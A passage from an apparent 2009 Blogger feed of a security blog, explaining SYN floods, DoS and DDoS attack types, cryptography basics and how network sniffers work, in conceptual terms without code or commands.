alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/6504165656987398025/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/smurf-attack.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6504165656987398025'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6504165656987398025'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/smurf-attack.html' title='SMURF Attack'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-457136686601022470</id><published>2009-07-30T14:29:00.000-07:00</published><updated>2009-08-02T12:52:51.644-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DOS Attack'/><title type='text'>SYN FLOOD</title><content type='html'>&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;Prerequisite : In order to understnad a SYN Flood completely, you must understand the &lt;/span&gt;&lt;a style="font-style: italic;" href="http://swizardb.blogspot.com/2009/06/transmission-control-protocol-tcp.html#three_way_handshake"&gt; &lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;TCP-IP 3-way HandShake&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;A SYN packet notifies a server of a new connection. The server then allocates some memory in order to handle the incoming connection, sends back an acknowledgement, then waits for the client to complete the connection and start sending data. By spoofing large numbers of SYN requests, an attacker can fill up memory on the server, which will sit their waiting for more data that never will arrive. Once memory has filled up, the server will be unable to accept connections from legitimate clients. This effectively disables the server.&lt;br /&gt;&lt;br /&gt;Key point: SYN floods exploit a flaw in the core of the TCP/IP technology itself. There is no complete defense against this attack. There are, however, partial defenses. Servers can be configured to reserve more memory and decrease the amount of time they wait for connections to complete. Likewise, routers and firewalls can filter out some of the spoofed SYN packets. Finally, there are techniques (such as "SYN cookies") that can play tricks with the protocol in order to help distinguish good SYNs from bad ones.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;img alt="" src="http://upload.wikimedia.org/wikipedia/commons/thumb/9/94/Tcp_synflood.png/180px-Tcp_synflood.png" class="thumbimage" width="180" height="226" /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;SYN Flood.&lt;/span&gt; &lt;span style="font-style: italic;"&gt;The attacker sends several packets but does not send the "ACK" back to the server. The connections are hence half-opened and consuming server resources. Alice, a legitimate user, tries to connect but the server refuses to open a connection resulting in a denial of service.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;The  &lt;a style="text-decoration: none;" href="http://www.cert.org/advisories/CA-1996-21.html" target="V"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;CERT advisory on SYN Flooding &lt;/span&gt; &lt;/a&gt;includes an up-to-date list of the vendors who have patches for this attack. All server systems are vulnerable unless patched if traffic from the Internet (or any hostile network) are permitted.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-457136686601022470?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/457136686601022470/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/syn-flood.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/457136686601022470'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/457136686601022470'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/syn-flood.html' title='SYN FLOOD'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-6812437837842048317</id><published>2009-07-30T13:33:00.000-07:00</published><updated>2009-08-26T05:06:49.998-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DOS Attack'/><title type='text'>How does a DOS attack works - Behind the Scenes</title><content type='html'>&lt;img style="float: left;" src="http://news.cnet.com/i/ne/pre/Net/2000/02/0209synack_popup.gif" /&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;There are two main approaches to denying a service:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;a FLOODING ATTACK, sending a vast number of seemingly legitimate messages.&lt;br /&gt;&amp;amp;&lt;br /&gt;a VULNERABILITY ATTACK, exploiting a vulnerability present on the target&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;FLOODING ATTACK :&lt;/span&gt; Flooding or Bandwidth attacks are attempts to  consume resources, such as network bandwidth or equipment throughput. High-data-volume attacks can consume all available bandwidth between an ISP and  your site. The link fills up, and legitimate traffic slows down. Timeouts may  occur, causing retransmission, generating even more traffic.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Flooding attacks work by sending a vast number of messages whose processing requires the server to allocate some key resource at the target. Once the server allocates its key resource  to the attack, legitimate users cannot  receive service. The crucial &lt;a name="idd1e1506"&gt;&lt;/a&gt;feature of flooding attacks  is that their strength lies in the volume, so the flow of traffic must be so large as to consume the target's  resources.  If  the attacker engages more than one machine to send out  the attack traffic, then it is known as a DDoS attack.&lt;br /&gt;&lt;/div&gt;&lt;span style="font-weight: bold;"&gt;Techniques :&lt;/span&gt; &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/07/syn-flood.html"&gt;SYN Flood&lt;/a&gt;, &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/07/smurf-attack.html"&gt;Smurf&lt;/a&gt;, Fraggle&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;VULNERABILITY ATTACKS :&lt;/span&gt; Malicious messages by the attacker represent an unexpected input that the  application programmer did not foresee. The messages cause the target  application to go into an infinite loop; to severely slow down, crash, freeze,  or reboot a machine; or to consume a vast amount of memory and deny service to  legitimate users.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Techniques :&lt;/span&gt; teardrop, &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/land-attack.html" title"LAND Attack"&gt; land&lt;/a&gt;, &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/ping-of-death.html" title="ping of death"&gt;ping of death&lt;/a&gt;,  Naptha&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-6812437837842048317?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/6812437837842048317/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/how-does-dos-attack-works-behind-scenes.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6812437837842048317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6812437837842048317'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/how-does-dos-attack-works-behind-scenes.html' title='How does a DOS attack works - Behind the Scenes'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-6932585560610944339</id><published>2009-07-30T12:47:00.000-07:00</published><updated>2009-08-26T05:07:12.814-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DOS Attack'/><title type='text'>Denial of Service (DOS) Attack</title><content type='html'>&lt;div style="text-align: justify;"&gt;A &lt;span style="font-weight: bold;"&gt;denial-of-service attack (DoS attack)&lt;/span&gt; or &lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;&lt;a title="Distributed denial-of-service attack (DDoS attack) = Detailed Explanation" href="http://swizardb.blogspot.com/2009/08/distributed-denial-of-service-ddos.html"&gt;distributed denial-of-service attack (DDoS attack)&lt;/a&gt;&lt;/span&gt; is an attempt to &lt;span style="font-weight: bold;"&gt;make a computer resource unavailable to its intended users&lt;/span&gt;. During a Denial of Service (DoS) attack, a hacker renders a system unusable or significantly slows the system by over-loading resources or preventing legitimate users from accessing the system. This denial-of-service effect is achieved by sending messages to the target that interfere with its operation, and make it hang, crash, reboot, or do useless work.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;The goal of DoS or DDoS isn’t to gain unauthorized access to machines or data, but to prevent legitimate users of a service from using it.&lt;/span&gt;&lt;br /&gt;A DoS attack may do the following:&lt;br /&gt;&lt;/div&gt;  Flood a network with traffic, thereby preventing legitimate network traffic.&lt;br /&gt;  Disrupt connections between two machines, thereby preventing access to a service.&lt;br /&gt;  Prevent a particular individual from accessing a service.&lt;br /&gt;  Disrupt service to a specific system or person.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Both DoS and DDoS attacks are hard to handle. Defenses (firewalls, IDS, closed ports, patches updated) that  work well against many other kinds of attacks are not necessarily effective  against denial of service. The attack can consist of  traffic that the firewall finds acceptable, probably because it bears a close  resemblance to legitimate traffic. Since the DoS attack merely needs to exhaust  resources, it can work on any port left open. Attackers can perform DoS attacks on  machines that have no vulnerabilities,  so patches to close vulnerabilities may not help.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Techniques : &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/07/syn-flood.html" title="SYN Flood"&gt;SYN Flood&lt;/a&gt;, &lt;a style="color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/07/smurf-attack.html" title="SMURF Attack"&gt;Smurf&lt;/a&gt;, teardrop, &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/land-attack.html" title"LAND Attack"&gt; land&lt;/a&gt;, &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/ping-of-death.html" title="ping of death"&gt;ping of death&lt;/a&gt;&lt;br /&gt;Tools : SSPing, Land Exploit, Smurf, Syn Flood, Jolt2, WinNuke, Targa&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Related Posts :&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;&lt;a href="http://swizardb.blogspot.com/2009/08/distributed-denial-of-service-ddos.html" title="Distributed denial-of-service attack (DDoS attack)"&gt;Distributed denial-of-service attack (DDoS attack)&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;a style="color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/07/how-does-dos-attack-works-behind-scenes.html" title="HOW DOS ATTACKS WORK - BEHIND THE SCENES"&gt;&lt;span style="font-weight: bold;"&gt;HOW DOS ATTACKS WORK - BEHIND THE SCENES&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-6932585560610944339?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/6932585560610944339/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/denial-of-service-dos-attack.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6932585560610944339'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/6932585560610944339'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/denial-of-service-dos-attack.html' title='Denial of Service (DOS) Attack'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-5126101869772663066</id><published>2009-07-19T04:07:00.000-07:00</published><updated>2009-08-02T12:52:32.924-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cryptography'/><title type='text'>Secret Keys - A description</title><content type='html'>&lt;p align="justify"&gt;We all know how the lock on a door works. There are a series of small round bars called tumblers that, when lined up correctly, drop out of the way, removing the obstruction, so you can turn the key and open the door. But, just because you know how a door lock works does not mean that you can find the right key. It takes a lot of time and trouble to find the correct key. &lt;/p&gt;&lt;p align="justify"&gt;Similarly,&lt;/p&gt;&lt;p align="justify"&gt;Talented people can reverse-engineer software that uses an algorithm and know its internal working. Well, if that is true, how do you keep the data safe if everyone knows how it’s done? The solution is in the key. The key is a complex sequence of alpha-numeric characters, used as an input to the encryption algorithm. If you can keep the key unknown and unknowable, that goes a very long way in keeping the data safe from prying eyes.&lt;strong&gt;&lt;/p&gt;&lt;/strong&gt;&lt;blockquote&gt;&lt;strong&gt;LONGER KEY IS BETTER&lt;/strong&gt;&lt;/blockquote&gt;&lt;p align="justify"&gt;For keys to be secure, they must be lengthy i.e. a 128-bit key is more secure than a 56-bit key. Longer keys are generally much harder to crack. Look at it this way, of the house keys shown below, which do you think would be safer to use?&lt;/p&gt;&lt;p&gt;&lt;a href="http://4.bp.blogspot.com/_kgG57QalCyI/SmMHKhMoKLI/AAAAAAAAAHQ/IZUGE4-bj14/s1600-h/key.gif"&gt;&lt;img style="WIDTH: 320px; HEIGHT: 144px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5360135858792442034" border="0" alt="" src="http://4.bp.blogspot.com/_kgG57QalCyI/SmMHKhMoKLI/AAAAAAAAAHQ/IZUGE4-bj14/s320/key.gif" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-5126101869772663066?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/5126101869772663066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/secret-keys-description.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5126101869772663066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5126101869772663066'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/secret-keys-description.html' title='Secret Keys - A description'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kgG57QalCyI/SmMHKhMoKLI/AAAAAAAAAHQ/IZUGE4-bj14/s72-c/key.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-2876250675234405863</id><published>2009-07-19T03:53:00.001-07:00</published><updated>2009-08-02T12:52:32.924-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cryptography'/><title type='text'>Symmetric Algorithms</title><content type='html'>&lt;strong&gt;Symmetric algorithms use one key to encrypt data and the same key to decrypt it.&lt;/strong&gt;&lt;br /&gt;&lt;div align="justify"&gt;Your front door key is symmetric — you use the same key to lock as well as unlock your door. The secret to the security of your front door is that you have the key with you and you don’t give a copy to anyone else. If you do trust someone else with the key, it will always be an exact copy of the one you have.&lt;/div&gt;&lt;br /&gt;DES&lt;a name="131"&gt;&lt;/a&gt;&lt;a name="wbp04Chapter2P81"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Triple DES&lt;br /&gt;&lt;br /&gt;&lt;a name="133"&gt;&lt;/a&gt;&lt;a name="wbp04Chapter2P85"&gt;&lt;/a&gt;IDEA&lt;br /&gt;&lt;br /&gt;AES&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-2876250675234405863?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/2876250675234405863/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/symmetric-algorithms_19.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2876250675234405863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2876250675234405863'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/symmetric-algorithms_19.html' title='Symmetric Algorithms'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-7337677495141903319</id><published>2009-07-15T10:47:00.000-07:00</published><updated>2009-08-02T12:52:32.924-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Cryptography'/><title type='text'>CRYPTOGRAPHY</title><content type='html'>&lt;strong&gt;Cryptography is the practice and study of hiding information.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;u&gt;Related Terms :&lt;/u&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Plaintext:&lt;/strong&gt; Decrypted or unencrypted data (it doesn’t have to be text only)&lt;br /&gt;&lt;div align="justify"&gt;&lt;strong&gt;Encrypt:&lt;/strong&gt; Scrambling data using an algorithm to make it unrecognizable&lt;br /&gt;&lt;strong&gt;Decrypt:&lt;/strong&gt; Unscrambling data to its original format&lt;br /&gt;&lt;strong&gt;Cipher:&lt;/strong&gt; Another word for algorithm&lt;br /&gt;&lt;strong&gt;Secret key&lt;/strong&gt;: The secret key is a complex sequence of alpha-numeric characters, used as an input to the encryption algorithm. The algorithm will produce a different output depending on the specific key being used at the time. They allow you to scramble and unscramble data. As the same key is used to open or close a door lock, similarly, a same secret key must be used both at sender's and receiver's end to encrypt and decrypt the data.  &lt;a href="http://swizardb.blogspot.com/2009/07/secret-keys-description.html" style="TEXT-DECORATION: none;"&gt;&lt;span style="color:#000000;"&gt;MORE ON SECRET KEYS&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;a href="http://4.bp.blogspot.com/_kgG57QalCyI/Sl4cLhGpgRI/AAAAAAAAAHI/Q3nCe5UNIuo/s1600-h/encryption.gif"&gt;&lt;img style="WIDTH: 352px; HEIGHT: 142px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5358751590807863570" border="0" alt="" src="http://4.bp.blogspot.com/_kgG57QalCyI/Sl4cLhGpgRI/AAAAAAAAAHI/Q3nCe5UNIuo/s320/encryption.gif" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;Ciphertext:&lt;/strong&gt; This is the scrambled unrecognisable message produced as output. It depends on the plaintext and the secret key. For a given message, two different keys will produce two different ciphertexts. &lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Do read this &lt;a style="TEXT-DECORATION: none" href="http://en.wikipedia.org/wiki/Cryptography" target="_blank"&gt;&lt;span style="color:#000000;"&gt;WIKIPEDIA entry on Cryptography&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-7337677495141903319?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/7337677495141903319/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/cryptography.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/7337677495141903319'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/7337677495141903319'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/cryptography.html' title='CRYPTOGRAPHY'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kgG57QalCyI/Sl4cLhGpgRI/AAAAAAAAAHI/Q3nCe5UNIuo/s72-c/encryption.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-5011464899408044035</id><published>2009-07-11T04:13:00.000-07:00</published><updated>2009-08-02T12:52:08.990-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sniffers'/><title type='text'>SNIFFING : How it Works</title><content type='html'>&lt;strong&gt;SNIFFING : HOW IT WORKS?&lt;/strong&gt;&lt;br /&gt;This section explains how a sniffer grabs all the traffic on the network, and does what it is best at!!&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;div align="justify"&gt;In a network, all network interfaces on a network segment have access to all of the data that travels on the media. &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;Each network interface has a unique hardware-layer address [MAC Address] and receives data intended for its MAC address in addition to the data that is&lt;span style="color:#000000;"&gt; &lt;a style="TEXT-DECORATION: none" href="http://www.comptechdoc.org/independent/networking/guide/netbroadcasting.html" target="_blank"&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;broadcasted&lt;/span&gt;&lt;/a&gt; on the network.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;The &lt;a style="TEXT-DECORATION: none" href="http://www.comptechdoc.org/independent/networking/guide/netbroadcasting.html" target="_blank"&gt;&lt;span style="color:#000000;"&gt;broadcast&lt;/span&gt;&lt;/a&gt; nature of shared media networks affects network performance and reliability so greatly that networking professionals use a network analyzer, or sniffer, to troubleshoot problems. &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;In the hands of an experienced system administrator, a sniffer is an invaluable aid in determining why a network is behaving (or misbehaving) the way it is.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;A sniffer puts a network interface in promiscuous mode so that the sniffer can monitor each data packet on the network segment.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;With an analyzer, you can determine how much of the traffic is due to which network protocols, which hosts are the source of most of the traffic, and which hosts are the destination of most of the traffic. &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;You can also examine data traveling between a particular pair of hosts and categorize it by protocol and store it for later analysis offline. &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;Most commercial network sniffers are rather expensive, costing thousands of dollars. When you examine these closely, you notice that they are nothing more than a portable computer with an Ethernet card and some special software. The only item that differentiates a sniffer from an ordinary computer is software.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;It is easy to download shareware and freeware sniffing software. &lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;The easy availability of this software also means that malicious computer users with access to a network can capture all the data flowing through the network.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;The sniffer can capture all the data for a short period of time or selected portions of the data for a fairly long period of time.&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-5011464899408044035?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/5011464899408044035/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/sniffing-how-it-works.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5011464899408044035'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5011464899408044035'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/sniffing-how-it-works.html' title='SNIFFING : How it Works'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-3010654034983143791</id><published>2009-07-11T02:27:00.000-07:00</published><updated>2009-08-02T12:52:08.990-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sniffers'/><title type='text'>SNIFFING : Low Level Protocol Information</title><content type='html'>&lt;div align="justify"&gt;Information network protocols send between computers includes hardware addresses of local network interfaces, the IP addresses of remote network interfaces, IP routing information, and sequence numbers assigned to bytes on a TCP connection. A sniffer can obtain any of these data. After an attacker has this kind of information, he or she is in a position to turn a passive attack into an active attack with even greater potential for damage.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-3010654034983143791?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/3010654034983143791/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/07/sniffing-low-level-protocol-information.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3010654034983143791'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3010654034983143791'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/07/sniffing-low-level-protocol-information.html' title='SNIFFING : Low Level Protocol Information'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-1562056468015174551</id><published>2009-07-11T02:26:00.000-07:00</published><updated>2009-08-02T12:52:08.990-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sniffers'/><title type='text'>SNIFFING : Private Data</title><content type='html'>&lt;div align="justify"&gt;Loss of privacy is also common in e-mail transactions. Many e-mail messages have been publicized without the permission of the sender or receiver. It is not at all uncommon for e-mail to contain confidential business information or personal information. Even routine memos can be embarrassing when they fall into the wrong hands. &lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;The most famous instance is the &lt;a style="TEXT-DECORATION: none" 